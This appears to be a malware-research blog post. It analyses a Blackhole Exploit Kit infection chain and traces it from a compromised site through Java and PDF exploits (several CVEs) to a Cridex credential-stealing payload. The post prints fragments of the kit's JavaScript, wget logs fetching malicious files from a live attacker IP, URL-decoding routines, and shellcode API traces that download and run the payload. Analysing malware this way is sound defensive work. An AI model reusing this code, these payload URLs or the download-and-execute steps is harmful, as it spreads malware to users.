  [119]w78731488n.php   16-Nov-2012 12:36   92K
  [120]w80343543n.php   16-Nov-2012 12:36  160K <=== suspicious
  [121]w80903025n.php   09-Nov-2012 05:28  297K <=== suspicious
  [122]w81115093n.php   16-Nov-2012 12:36   23K
  [123]w81417750n.php   16-Nov-2012 12:36   23K
  [124]w82277330n.php   16-Nov-2012 12:36   69K
  [125]w82347261n.php   16-Nov-2012 12:36   23K
  [126]w84467943n.php   16-Nov-2012 12:36   23K
  [127]w85902715n.php   16-Nov-2012 12:36   69K
  [128]w86577171n.php   16-Nov-2012 12:36   23K
  [129]w86771427n.php   16-Nov-2012 12:36   23K
  [130]w86911411n.php   16-Nov-2012 12:36   23K
  [131]w86982141n.php   16-Nov-2012 12:36   92K
  [132]w87326315n.php   16-Nov-2012 12:36   23K
  [133]w88145056n.php   16-Nov-2012 12:36   92K
  [134]w88205733n.php   16-Nov-2012 12:36  137K <=== suspicious
  [135]w88685477n.php   16-Nov-2012 12:36   23K
  [136]w89338108n.php   16-Nov-2012 12:36   23K
  [137]w89476290n.php   16-Nov-2012 12:36  137K <=== suspicious
  [138]w89705559n.php   16-Nov-2012 12:36   23K
  [139]wp-conf.php      15-Nov-2012 22:26  185K <=== suspicious
*)I marked the suspicious filea above↑ I bet they are trojan malwares!  (Hint: See the size of the files)  Sadly the web server is well tuned & using ACL to block access,  so we successfully fetched some files only, as per below: 
aVhg.html     2a3e59f3088c06329e01acc3f4392e6f
bablo5.php    0423f6942706d9b36fc5551b472f12d9
jorik5.php    6e1a175421632987e00a589a93653e56
seo4.php      89cfb895e3381c2f174ef24e8c664839
topsale5.php  5e9eb5ddf71e1b4c56375c85aae92c69
page8.htm     57f31d9fc68cc28f1051028d761d8afc
All ↑files are mostly spam redirector but page8.htm contains malicious code: Which we decoded easily to be like this: ↑Which is showing a malicious url of BHEK pattern.  Shortly, we fetched it & by the TCP/HTTP data we can be sure is a BHEK: 
--21:17:54--  
h00p://203.80.16.81:8080/forum/links/column.php
Connecting to 203.80.16.81:8080... seconds 0.00, connected.
Created socket 1920.
---request begin---
GET /forum/links/column.php HTTP/1.0
Referer: h00p://fi.mattlemons.org/page8.htm
User-Agent: MalwareMustDie is knocking on your door |-(
Accept: */*
Host: 203.80.16.81:8080
Connection: Keep-Alive
---request end---
HTTP request sent, awaiting response...

---response begin---
HTTP/1.1 200 OK
Server: nginx/1.0.10
Date: Sat, 17 Nov 2012 20:40:41 GMT
Content-Type: text/html; charset=CP-1251
Connection: close
X-Powered-By: PHP/5.3.18-1~dotdeb.0
Vary: Accept-Encoding
---response end---
200 OK
Length: unspecified [text/html]
Closed fd 1920
21:17:56 (43.56 KB/s) - `column.php' saved [31778]
The downloaded file contains a condensed Javascript as per below hexed code: 
＜html＞＜head＞＜title＞＜/title＞＜/head＞＜body＞＜script＞try｛if(window.document)window.document.body＝"asd"｝catch(e
｛var PluginDetect＝｛version:"0.7.9",name:"PluginDetect",handler:function(c,b,a)｛return function()｛c(b,a)｝｝
nction(b)｛return(typeof b＝＝"string"&&(/\d/).test(b))｝,getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]
umRegx);b＝f.split(e.splitNumRegx);for(a＝0;a＜Math.min(c.length,b.length);a++)｛if(g(c[a],10)＞g(b[a],10))｛re
test(e[a]))｛e[a]＝"0"｝｝return e.slice(0,4).join(",")｝,$$hasMimeType:function(a)｛return function(c)｛if(!a.i
j.isDefined(e)||e)?/\d/:0,k＝c?new RegExp(c,"i"):0,a＝navigator.plugins,g＝"",f,b,m;for(f＝0;f＜a.length;f++)｛
(m,"i"),h＝"",g＝c?new RegExp(c,"i"):0,a,l,d,j＝e.isString(k)?[k]:k;for(d＝0;d＜j.length;d++)｛if((f＝e.hasMimeT
);b＝h.formatNum(b);d＝b.split(h.splitNumRegx);g＝e.split(h.splitNumRegx);for(a＝0;a＜d.length;a++)｛if(c＞-1&&a
if(g.length＞0&&!f[g])｛f[g]＝f[a](f);delete f[a]｝｝catch(d)｛｝｝｝｝,initObj:function(e,b,d)｛var a,c;if(e)｛if(e[...
You can see full original code in our pastebin -->>[PASTEBIN]And a nice readable code can be seen here -->>[PASTEBIN] Seeing the decoded code well, we can see the PluginDetect 0.7.9 logic is used in it. The EK coder is misusing PluginDetect 0.7.9 base code for infection purpose. And since PluginDetect 0.7.9 released officially it was already used by infectors.  Compares to the BHEK2 with previous PluginDetect 0.7.8, this version is using similar method, however some changes was detected as per following summary:  Provided Exploits:
Msxml2.XMLHTTP
Msxml2.DOMDocument
Microsoft.XMLDOM
ShockwaveFlash.ShockwaveFlash
TDCCtl.TDCCtl
Shell.UIHelper
Scripting.Dictionary
wmplayer.ocx
Browser Access:Accepting only access from these html headers ;-)) 
"Win",
"Mac",
"Linux",
"FreeBSD",
"iPhone",
"iPod",
"iPad",
"Win.*CE",
"Win.*Mobile",
"Pocket\s*PC"
Strictly get version info value of browser engine versions...
d.isGecko=(/Gecko/i).test(k)&&(/Gecko\s*\/\s*\d/i).test(l);
d.verGecko=d.isGecko?d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l)?RegExp.$1:"0.9"):null;
d.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
d.verChrome=d.isChrome?d.formatNum(RegExp.$1):null;
d.isSafari=((/Apple/i).test(j)||(!j&&!d.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
d.verSafari=d.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(l)?d.formatNum(RegExp.$1):null;
d.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
d.verOpera=d.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(l)||1)?parseFloat(RegExp.$1,10):null;
d.addWinEvent("load",d.handler(d.runWLfuncs,d))
Infector plugins: 
1. Java Exploit
mimeType:"application/x-java-applet","application/x-java-vm", "application/x-java-bean"],classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
Aimed for generic exploit affecte to below Java Versions: 
[1,9,1,40]
[1,8,1,40]
[1,7,1,40]
[1,6,0,40]
[1,5,0,30]
[1,4,2,30]
[1,3,1,30]]
Also provided special handling for the specific Java version below: 
k=[1,5,0,14],
j=[1,6,0,2],
h=[1,3,1,0],
g=[1,4,2,0],
f=[1,5,0,7]
2. Flash Exploit
mimeType:"application/x-shockwave-flash",progID:"ShockwaveFlash.ShockwaveFlash" ,classID:"clsid:D27CDB6E-AE6D-11CF-96B8-444553540000"
Replacing the downloaded object by this into exe in locals... return e?e[0].replace(/[rRdD\.]/g,",").replace(/\s/g,""):null  3. Adobe Reader
mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"], classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000"
Logic to check adobe version is: if(pdfver[0]>0&&pdfver[0]<8) (pdfver[0]==8||(pdfver[0]==9&&pdfver[1]<4) //Hint!  [Important!] New: makeSense functionWe detect a new control called makeSense() function to check the PDF & Java versions,  it uses the below applet code to get & pass parameter version & vendor info: 
import java.applet.Applet;
public class A extends Applet
{
  public String getAppVersion()
  {
    return "3";  }

  public String getProp(String paramString)
  {
    String str = "";
    try {
      if ((paramString instanceof String)) str = System.getProperty(paramString); 
    }
    catch (Exception localException) {
    }
    return str;  }

  public String getVersion()
  {
    return getProp("java.version"); }

  public String getVendor()
  {
    return getProp("java.vendor");  }

  public void statusbar(String paramString)
  {
    try
    {
      if ((paramString instanceof String)) showStatus(paramString);
    }
    catch (Exception localException)
    {}}}
Let's go back to our case, this infection uses PluginDetect 0.7.9,  So if we hit j1, j2 parameters correctly there are 2(two) jar malware downloads, as per coded below: 
function j1（） ｛
  var d＝document.createElement（"div"）;
  d.innerHTML ＝ '＜applet archive＝"../data/spn2.jar" code＝"impossibla"＞
  ＜param name＝"val" value＝"0b0909041f"/＞
  ＜param name＝"prime" value＝"3131271c083c181c3c37343c18371f181c181c312c174421233143323a11193138174321233a3c040b043d112c39081c1f373a1f37321f37321f080802043539270e1f37111f37231f08271f08081f37111f37111f08371f37361f3717020139372c02170e392802382c390b"/＞＜/applet＞';
  document.body.appendChild（d）;
  return true;
｝
function j2（） ｛
  var d＝document.createElement（"div"）;
  d.innerHTML ＝ '＜applet archive＝"../data/spn.jar" code＝"impossibla"＞
  ＜param name＝"val" value＝"0b0909041f"/＞＜
  param name＝"prime" value＝"3131271c083c181c3c37343c18371f181c181c312c174421233143323a11193138174321233a3c040b043d112c39081c1f373a1f37321f37321f080802043539270e1f37111f37231f08271f08081f37111f37111f08371f37361f3717020139370502170e392802382c390b"/＞＜/applet＞';
  document.body.appendChild（d）;
  return true;
｝
Tracing the path and we get the jars as below: 
--00:25:07--  h00p：//203.80.16・81:8080/forum/data/spn.jar
           => `spn.jar'
Connecting to 203.80.16・81:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12,745 (12K) [application/java-archive]
00:25:09 (37.62 KB/s) - `spn.jar' saved [12745/12745]

--00:25:14--  h00p：//203.80.16・81:8080/forum/data/spn2.jar
           => `spn2.jar'
Connecting to 203.80.16・81:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21,607 (21K) [application/java-archive]
00:25:16 (49.66 KB/s) - `spn2.jar' saved [21607/21607]
These files are Java exploiter,  There's abuse code of java.lang.String.inter CVE-2012-5076 code in "spn.jar" and - also CVE-2012-4681 & CVE-2012-1723 in "spn2.jar"; used to exploit+download payload. We will soon discussing these exploits. Some internet operation strings in both files can be viewed soon, like: 
* * * File: spn.jar
import java.net.URL;
 41: invokevirtual 51 java/lang/Class:getResource (Ljava/lang/String;)Ljava/net/URL;
 44: invokevirtual 55 java/net/URL:toString ()Ljava/lang/String;
103: new     56 java/net/URL
 :
106: dup
107: aload 4
109: invokespecial 71 java/net/URL: (Ljava/lang/String;)V
 :
137: checkcast     84 java/net/URLConnection
140: astore        6
142: aload         6
144: invokevirtual 86 java/net/URLConnection:getInputStream ()Ljava/io/InputStream;

* * * File: spn2.jar
import java.net.URL;
 49: invokevirtual 232 java/lang/Class:getResource (Ljava/lang/String;)Ljava/net/URL;
 52: invokevirtual 236 java/net/URL:toString ()Ljava/lang/String;
113: new            68 java/net/URL
116: dup
117: aload 5
119: invokespecial 70 java/net/URL: (Ljava/lang/String;)V
148: checkcast    260 java/net/URLConnection
151: astore         7
153: aload          7
155: invokevirtual 262 java/net/URLConnection:getInputStream ()Ljava/io/InputStream;
Below is the Exploit CVE-2012-5076 code used in spn.jar (click to enlarge) And below is the CVE-2012-4681 used in spn2.jar to download mess.. (click to enlarge) ↑is at the public static void impossibla(impossibld paramimpossibld) and in -   the public Object impossibla() As per advised by @Dr4g0nFlySm0k3, in "spn2.jar" at public class impossiblb we also  detected exploit CVE-2012-1723 code as per snipped below (core code only): PS: There is a quite long list of variables for gaining “type confusion”between - static & an instance variable for this exploit, and I snipped them all at snapshot above,  for more details please check download sample files provided at bottom post's link.   [NEW] I was just mentioned in twitter, thanks to @PhysicalDrive0, that Java exploits always in threes, below is the message: The first response I did was re-read the PluginDetect 0.7.9, and - be 100% sure that there is no sign of spn3.jar in there, next, I checked last fetched - spider logs.. couldn't find it either. But I just tried to download it by following the path of spn.jar & spn2.jar and.... 
--2012-11-18 22:14:07--  h00p://203.80.16.81:8080/forum/data/spn3.jar
Connecting to 203.80.16.81:8080... connected.
Created socket 3.
---request begin---
GET /forum/data/spn3.jar HTTP/1.1
Referer: h00p://fi.mattlemons.org/page8.htm
User-Agent: MalwareMustDie is knocking AGAIN on your door! |-((
Accept: */*
Host: 203.80.16.81:8080
Connection: Keep-Alive
---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 200 OK
Server: nginx/1.0.10
Date: Sun, 18 Nov 2012 21:37:08 GMT
Content-Type: application/java-archive
Connection: keep-alive
Last-Modified: Mon, 22 Oct 2012 13:35:13 GMT
ETag: "1350005-521e-4cca5ec4d4640"
Accept-Ranges: bytes
Content-Length: 21022
---response end---
200 OK
Registered socket 3 for persistent reuse.
Length: 21022 (21K) [application/java-archive]
Saving to: `spn3.jar'
100%[=============>]21,022      43.2K/s   in 0.5s
2012-11-18 22:14:08 (43.2 KB/s) - `spn3.jar' saved [21022/21022]
↑By God, there is a spn3.jar!! But Why? Not in PluginDetect means no chance for infection.. Here's the snapshot, ↓it showed the file's upload date... 
-rw-r--r--  1 xxx xxx  21022 Oct 22 22:35 spn3.jar
MD5 (spn3.jar) = 66c55d2cebc9d2d7b09a6e12b94fc1c9
So let's see what exploit it has inside,  first, in the public class fewwebwegb it has CVE-2012-0507 ↓   second, in the public class fewwebwegc it has CVE-2012-4681 exploit code↓ ↑These two exploits are double hitting the suspect's PC to break Java's privilege..  [NEW] There is also another file called "t.pdf" which is not written in PluginDetect PoC (Thank's again to Physicaldrive0 for the hint) is as below: 
--01:39:46--  h00p://203.80.16.81:8080/forum/data/t.pdf
           => `t.pdf'
Connecting to 203.80.16.81:8080... seconds 0.00, connected.
Created socket 1920.
---request begin---
GET /forum/data/t.pdf HTTP/1.0
Referer: h00p://fi.mattlemons.org/page8.htm
User-Agent: MalwareMustDie Now BANGING at your Door ||-((
Accept: */*
Host: 203.80.16.81:8080
Connection: Keep-Alive
---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 200 OK
Server: nginx/1.0.10
Date: Mon, 19 Nov 2012 01:02:39 GMT
Content-Type: application/pdf
Connection: keep-alive
Last-Modified: Fri, 14 Sep 2012 18:03:02 GMT
ETag: "13500e4-1fa7-4c9ad3c1e8180"
Accept-Ranges: bytes
Content-Length: 8103
---response end---
200 OK
Registered socket 1920 for persistent reuse.
Length: 8,103 (7.9K) [application/pdf]
01:39:47 (78.02 KB/s) - `t.pdf' saved [8103/8103]

$ ls -alF t.*
-rwx------   1 xxx xxx   8103 Sep 14 09:03 t.pdf
$ md5 t.pdf
MD5 (t.pdf) = d1e2ff36a6c882b289d3b736d915a6cc
It is a common Pidief exploit shellcode downloader,  w/invalid xref it calls obfuscated code below to be extracted as shellcode,  
0000000004 00000 f
0000000772 00000 n
0000001087 00000 n
0000001137 00000 n
0000000000 00000 f
0000000000 65535 f
0000001284 00000 n
   :         :
0000035752 00000 n
0000036095 00000 n
0000000026 65535 f
0000000050 65535 f
0000000051 65535 f
This sample is having the highest detection ratio compares to other samples here: 
MD5:          d1e2ff36a6c882b289d3b736d915a6cc
File size:    7.9 KB ( 8103 bytes )
File name:    t.pdf
File type:    PDF
Tags:        pdf acroform invalid-xref
Detection ratio:  22 / 43
URL: https://www.virustotal.com/file/1e9e19cc0e6c49f658f6205d19d3940698cbe22df6cdb149c8178857992473e7/analysis/
There is another p1 parameter as per coded below, to drop one more malicious PDF 
function p1（） ｛
  var d＝document.createElement（"div"）;
  d.innerHTML ＝ "＜iframe src＝\"/forum/links/column.php?xrdbmuu＝"+x（"c833f"）+"&sckq＝"+x（"laa"）+"&bugeh＝2v:1k:1m:32:33:1k:1k:31:1j:1o&hdulmrim＝"+x（pdfver.join（"."））+"\"＞＜/iframe＞";
  document.body.appendChild（d）;   ｝
Decoding this PDF download URL it wasn't hard, took me 2minutes to figure the url :-) Here's the proof: 
--01:28:48--  h00p：//203.80.16。81:8080/forum/links/column.php?xrdbmuu=30:1n:1i:1
i:33&sckq=39:2v:2v&bugeh=2v:1k:1m:32:33:1k:1k:31:1j:1o&hdulmrim=1o:1d:1g:1d:1f
           => `column.php@xrdbmuu=30%3A1n%3A1i%3A1i%3A33&sckq=39%3A2v%3A2v&bugeh
=2v%3A1k%3A1m%3A32%3A33%3A1k%3A1k%3A31%3A1j%3A1o&hdulmrim=1o%3A1d%3A1g%3A1d%3A1f
'
Connecting to 203.80.16・81:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27,788 (27K) [application/pdf]

01:28:50 (47.09 KB/s) - `column.php@xrdbmuu=30%3A1n%3A1i%3A1i%3A33&sckq=39%3A2v%
3A2v&bugeh=2v%3A1k%3A1m%3A32%3A33%3A1k%3A1k%3A31%3A1j%3A1o&hdulmrim=1o%3A1d%3A1g
%3A1d%3A1f' saved [27788/27788]
And here's my note in manually decoding: 
a=x("c833f");
   function x(s)
   {
     d=[];
     for(i=0;i     {
       k=(s.charCodeAt(i))["toString"](33);
       d.push(k);
     };
     return d.join(":");
   }
document.write(a);  ====>  "30:1n:1i:1i:33"

a=x("laa");
   function x(s)
   {
     d=[];
     for(i=0;i     {
       k=(s.charCodeAt(i))["toString"](33);
       d.push(k);
     };
     return d.join(":");  
   }
document.write(a); =====> "39:2v:2v"

pdfver="9.1.0"
mypdf=(pdfver.join("."));
a=x(mypdf);
   function x(s)
   {
     d=[];
     for(i=0;i     {
       k=(s.charCodeAt(i))["toString"](33);
       d.push(k);
     };
     return d.join(":");  
   }
document.write(a); =====> "1o:1d:1g:1d:1f"
In the PDF file 0x3CD5 we can see this malicious code -->>[PASTEBIN]↑We saw the strings "parseInt(app.beep(0)).toString().substring(1,2)" is used 122times :-) app.beep is a typical PDF function, the one digit integer resulted is the key. example: 
x="17777".toString().substring(1,2)
document.write(x); ===> "7"
↑Using above hint, the deobfs code is--->>[PASTEBIN] There is the Exploit Code of CVE-2009-0927 here:  And also an obfuscated shellcode here(see var bjsg value):  The shellcode itself contains a "plain" download url: ↑It must've been a a copy paster level-work of malware retards :-)  Well, the url for download payload is as per below: 
h00p：//203.80.16.81:8080/forum/links/column.php?vfg=30:1n:1i:1i:33&cacjp=2v:1k:1m:32:33:1k:1k:31:1j:1o&zbrybx=1h&gfh=xdoq&hsphg=edixgidl
Download Proof: 
 --03:22:55--  h00p：//203.80.16.81:8080/forum/links/column.php?vfg=30:1n:1i:1i:33&cacjp=2v:1k:1m:32:33:1k:1k:31:1j:1o&zbrybx=1h&gfh=xdoq&hsphg=edixgidl
Connecting to 203.80.16.81:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 122,727 (120K) [application/x-msdownload]
100%[====================================>] 122,727      108.68K/s
03:22:57 (108.52 KB/s) - `column.php@vfg=....' saved [122727/122727]
The shellcode API calls (kernel32.dll & urlmon.dll) used for download is as below: 
kernel32.VirtualProtect(lpAddress=0x4021be, dwSize=255)
kernel32.LoadLibraryA(lpFileName=urlmon)
kernel32.GetTempPathA(lpBuffer=0x22fa60, nBufferLength=248, [lpBuffer=C:\DOCUME~1\Administrator\LOCALS~1\Temp\])
urlmon.URLDownloadToFileA(pCaller=0, szURL=h00p://203.80.16.81:8080/forum/....., lpfnCB=0x0, szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll)
kernel32.WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0) 
kernel32.WinExec(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0) 
kernel32.TerminateThread(dwExitCode=0)
So we saved the payload as wpbt0.dll, and quick examined it with the below results... This malware drops the below files, before doing a self deletion: 
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\exp1.tmp
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\exp1.tmp.bat
C:\Documents and Settings\Administrator\Application Data\KB00695911.exe
Using CMD.EXE w/executed below command: 
C:\WINDOWS\system32\cmd.exe
  |
  +->"C:\WINDOWS\system32\cmd.exe" /c "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\exp1.tmp.bat" 
And the bat file will run the malware from new location:  
"C:\Documents and Settings\Administrator\Application Data\KB00695911.exe" 
Explaining the below executable API traces: 
Address: 0x403872 
CreateRemoteThread(hProcess: 0x78, 
lpThreadAttributes: 0x0, 
dwStackSize: 0x0, 
lpStartAddress: 0x3ced50, 
lpParameter: 0x3c0000, 
dwCreationFlags: 0x0, 
lpThreadId: 0x0)
All of the sudden we saw the below malicious processes: 
0x2b0 lsass.exe
0x6ec KB00085031.exe
From the previous findings, studying every malicious act of this binary, we know is a trojan credential stealer, Cridex variant.  
Samples downloads
Here is the picture of the captured payloads:  We share these samples for the research/study purpose--->>[HERE]
VirusTotal detection ratio analysis
@unixfreaxjp ~/malware]$ date Sun Nov 18 04:38:25 JST 2012  column.php ( 2/44) -->09b4ceea8fd5e90eea21bc1e2c2892e4sample.pdf (15/43) -->e2efc2bc128c7aa7643f025a68194a1e CVE-2009-0927 spn.jar    ( 3/44) -->fbdf22bf32946676dcb1408208a24945 CVE-2012-5076 spn2.jar   ( 3/44) -->e98cde0af1e59379e8aec2a7a813225f CVE-2012-4681 & CVE-2012-1723  wpbt0.dll  ( 9/43) -->e673b7c943b7395cc9ad61a301652880spn3.jar  ( 15/43) -->66c55d2cebc9d2d7b09a6e12b94fc1c9 CVE-2012-0507 & CVE-2012-4681 t.pdf     ( 22/43) -->d1e2ff36a6c882b289d3b736d915a6cc CVE-2009-2990  
References of CVE Exploit used
MSFT-MMPC: A technical analysis on new Java vulnerability(CVE-2012-5076)-->[CLICK]Immunity Products: Java 0day analysis (CVE-2012-4681) -->[CLICK]EXPLOIT-DB: Adobe Acrobat/Reader Collab getIcon Universal Exploit(CVE-2009-0927)-->[CLICK]Symantec: An Examination of Java Vulnerability CVE-2012-1723 -->[CLICK]MSFT-MMPC: The rise of a new Java vulnerability - CVE-2012-1723 -->[CLICK] 
Other NEW Refereces of PluginDetect BHEK 0.7.9 (The Non-Obfuscated JavaScript Version)
Sophos: Blackhole confusion. Custom builds or copycats? -->[HERE]F-Secure: Cool-er Than Blackhole? -->[HERE]Malware Don't Need Coffee: CVE-2012-5076 - Massively adopted - BHEK update to 2.0.1 -->[HERE]
[NEW!] Additional Info of PluginDetect BHEK 0.7.9 Obfuscated Version
We also detected obfuscation version of PluginDetect BHEK 0.7.9. The sources are from 2(two) spam attachment HTML files as per below pics: *) Thank's to Officer Ken Pryor (@KDPryor) for contributing the samples.  The attached HTML file is having code leads to the obfuscated PluginDetect 0.7.9  Both spams is having same obfuscation code:  We can decode this code to find the PluginDetect urls as below: (click to enlarge)  The column.php is the obfuscation version of PluginDetect 0.7.9 It used a new pattern of deobfuscation, we decode it here-->>[PASTEBIN]↑with the step by step text guidance on how to it.  The components of BHEK2 w/obfuscated  PluginDetect 0.7.9 is as usual: ↑these are the samples captured from that host (hamasutra.ru) For the research purpose, here's all sample of this infection-->>[CLICK] Furthermore hamasutra.ru is having some IPs & DNS, see --->>[PASTEBIN]in those IP it has a LONG history of BHEK in past up to 30days -->>[PASTEBIN] In case you are wondering of detection rates(CVE data is as per above list): Email attached HTML1 (21/43) fa7b41a96360c09baad5b8fa210e6faeEmail attached HTML2 (11/43) 9d3ce7441ea6cffcc3aeee80238357feinfector.pdf (21/43) 2c325f278f741e8b4cfe66af87b96c40    ↑This pdf decoding guide is here -->>[PASTEBIN]spn3.jar (19/41) 66c55d2cebc9d2d7b09a6e12b94fc1c9 spn2.jar (3/43) 4ad0cb8901186409045bf2961f1cad26 spn.jar (3/41) 3eb329162cbf4f1538d7d0f1a23d391ct.pdf (21/43) d1e2ff36a6c882b289d3b736d915a6cc..And the Obfuscated PluginDetect 0.7.9 /column.php (4/42) ba76833dc28ad027d0ad148351c9b167

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